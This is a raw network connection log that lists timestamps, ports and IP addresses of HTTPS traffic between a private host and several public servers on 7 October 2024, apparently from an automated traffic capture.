Oct 7, 2024 20:59:54.036000013 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.036006927 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.036031961 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.036098957 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.036247015 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.041171074 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.041243076 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.041256905 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.046155930 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.046230078 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.046246052 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.051310062 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.051377058 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.051392078 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.056482077 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.056639910 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.056653976 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.061620951 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.061690092 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.061703920 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.066721916 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.066821098 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.066834927 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.071773052 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.071851969 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.071865082 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.076708078 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.076785088 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.076798916 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.081502914 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.081578970 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.081593037 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.086046934 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.086138964 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.086153030 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.090457916 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.090533972 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.090547085 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.094754934 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.094831944 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.094847918 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.098793983 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.098870039 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.098884106 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.102871895 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.102942944 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.102957010 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.106412888 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.106487036 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.106499910 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.110639095 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.110712051 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.110724926 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.114023924 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.114097118 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.114109993 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.117506981 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.117583990 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.117597103 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.119745970 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.119822025 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.119836092 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.122035980 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.122107983 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.122122049 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.124171019 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.124245882 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.124260902 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.126652002 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.126724005 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.126737118 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.128655910 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.128726959 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.128741980 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.128767014 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.128827095 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.130796909 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.133078098 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.133168936 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.133177042 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.133198977 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.133260965 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.135118008 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.137748003 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.137818098 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.137831926 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.139527082 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.139597893 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.139605045 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.139626980 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.139684916 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.141844034 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.144042015 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.144109011 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.144124031 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.146219015 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.146291971 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.146300077 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.146322012 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.146377087 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.148394108 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.150732040 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.150798082 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.150805950 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.150827885 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.150891066 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.153434038 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.154836893 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.154906034 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.154920101 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.157113075 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.157180071 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.157193899 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.159199953 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.159267902 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.159276962 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.159297943 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.159358025 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.161345005 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.163508892 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.163575888 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.163583994 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.163604975 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.163664103 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.166098118 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.167798042 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.167865992 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.167874098 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.167895079 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.167953014 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.170356989 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.172250032 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.172317982 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.172333956 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.174820900 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.174891949 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.174899101 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.174920082 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.174981117 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.176151037 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.179097891 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.179162025 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.179176092 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.180144072 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.180208921 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.180222034 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.182985067 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.183053017 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.183065891 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.184252977 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.184324026 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.184333086 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.184353113 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.184411049 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.186990976 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.188215017 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.188288927 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.188292027 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.188313961 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.188385963 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.190696001 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.191040993 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:54.191112041 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.191241980 CEST	49822	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:54.191272974 CEST	443	49822	142.250.186.36	192.168.2.16
Oct 7, 2024 21:00:05.081271887 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:05.081372023 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:05.081459999 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:05.081706047 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:05.081738949 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:05.082077980 CEST	49827	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:05.082165003 CEST	443	49827	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:05.082263947 CEST	49827	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:05.082454920 CEST	49827	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:05.082478046 CEST	443	49827	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.565402985 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.565578938 CEST	443	49827	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.565737963 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.565800905 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.565917969 CEST	49827	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.565987110 CEST	443	49827	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.566783905 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.566874027 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.568017006 CEST	443	49827	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.568100929 CEST	49827	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.589536905 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.589704990 CEST	49827	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.589745998 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.589842081 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.589914083 CEST	443	49827	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.634365082 CEST	49827	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.634377003 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.634383917 CEST	443	49827	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.634435892 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.682226896 CEST	49827	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.682234049 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.959076881 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.959287882 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.959511042 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.960077047 CEST	49826	443	192.168.2.16	104.47.73.156
Oct 7, 2024 21:00:06.960118055 CEST	443	49826	104.47.73.156	192.168.2.16
Oct 7, 2024 21:00:06.994591951 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:06.994635105 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:06.994731903 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:06.994946957 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:06.994956970 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:07.687303066 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:07.687793970 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:07.687829018 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:07.689285994 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:07.689383984 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:07.690646887 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:07.690732002 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:07.690891027 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:07.690901041 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:07.735340118 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:08.355278015 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:08.355484009 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:08.355714083 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:08.356173038 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:08.356173038 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:08.356208086 CEST	443	49828	108.138.7.53	192.168.2.16
Oct 7, 2024 21:00:08.356367111 CEST	49828	443	192.168.2.16	108.138.7.53
Oct 7, 2024 21:00:09.366450071 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:09.366535902 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:09.366620064 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:09.366883993 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:09.366919041 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.501808882 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.502197027 CEST	49832	443	192.168.2.16	142.250.186.100
Oct 7, 2024 21:00:10.502255917 CEST	443	49832	142.250.186.100	192.168.2.16
Oct 7, 2024 21:00:10.502329111 CEST	49832	443	192.168.2.16	142.250.186.100
Oct 7, 2024 21:00:10.502502918 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.502538919 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.502760887 CEST	49832	443	192.168.2.16	142.250.186.100
Oct 7, 2024 21:00:10.502779007 CEST	443	49832	142.250.186.100	192.168.2.16
Oct 7, 2024 21:00:10.505877972 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.505956888 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.507265091 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.507355928 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.507469893 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.507484913 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.562232971 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.782012939 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.782222986 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.782413960 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.782562017 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.782601118 CEST	443	49831	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.782625914 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.782672882 CEST	49831	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.784606934 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.784702063 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:10.784843922 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.785073042 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:10.785093069 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.131624937 CEST	443	49832	142.250.186.100	192.168.2.16
Oct 7, 2024 21:00:11.132193089 CEST	49832	443	192.168.2.16	142.250.186.100
Oct 7, 2024 21:00:11.132249117 CEST	443	49832	142.250.186.100	192.168.2.16
Oct 7, 2024 21:00:11.135788918 CEST	443	49832	142.250.186.100	192.168.2.16
Oct 7, 2024 21:00:11.135884047 CEST	49832	443	192.168.2.16	142.250.186.100
Oct 7, 2024 21:00:11.137356043 CEST	49832	443	192.168.2.16	142.250.186.100
Oct 7, 2024 21:00:11.137445927 CEST	443	49832	142.250.186.100	192.168.2.16
Oct 7, 2024 21:00:11.184376001 CEST	49832	443	192.168.2.16	142.250.186.100
Oct 7, 2024 21:00:11.184401989 CEST	443	49832	142.250.186.100	192.168.2.16
Oct 7, 2024 21:00:11.232218981 CEST	49832	443	192.168.2.16	142.250.186.100
Oct 7, 2024 21:00:11.393450022 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.394092083 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:11.394160986 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.395265102 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.395697117 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:11.395796061 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.395874023 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:11.443399906 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.751856089 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.752060890 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.752149105 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:11.752743959 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:11.752743959 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:11.752787113 CEST	443	49833	142.250.184.227	192.168.2.16
Oct 7, 2024 21:00:11.752861023 CEST	49833	443	192.168.2.16	142.250.184.227
Oct 7, 2024 21:00:12.082413912 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:12.082500935 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:12.082612991 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:12.082890034 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:12.082912922 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:12.955513954 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:12.956054926 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:12.956125975 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:12.957590103 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:12.957772970 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:12.958909035 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:12.959002018 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:12.959121943 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:12.959142923 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:13.003242970 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:13.467576981 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:13.467767000 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:13.467976093 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:13.468564034 CEST	49834	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:13.468609095 CEST	443	49834	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:13.510690928 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:13.510732889 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:13.510808945 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:13.511085987 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:13.511099100 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:14.387965918 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:14.388309002 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:14.388331890 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:14.388808012 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:14.389229059 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:14.389313936 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:14.389398098 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:14.435401917 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:15.251890898 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:15.252069950 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:15.252219915 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:15.252434015 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:15.252458096 CEST	443	49835	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:15.252470016 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:15.252506971 CEST	49835	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:15.308887959 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:15.308979988 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:15.309072971 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:15.309390068 CEST	49837	443	192.168.2.16	203.28.49.249
Oct 7, 2024 21:00:15.309422016 CEST	443	49837	203.28.49.249	192.168.2.16
Oct 7, 2024 21:00:15.599443913 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:15.599524021 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:15.599611998 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:15.599807024 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:15.599829912 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.037220001 CEST	443	49838	172.66.0.235	192.168.2.16
Oct 7, 2024 21:00:16.037643909 CEST	49838	443	192.168.2.16	172.66.0.235
Oct 7, 2024 21:00:16.037686110 CEST	443	49838	172.66.0.235	192.168.2.16
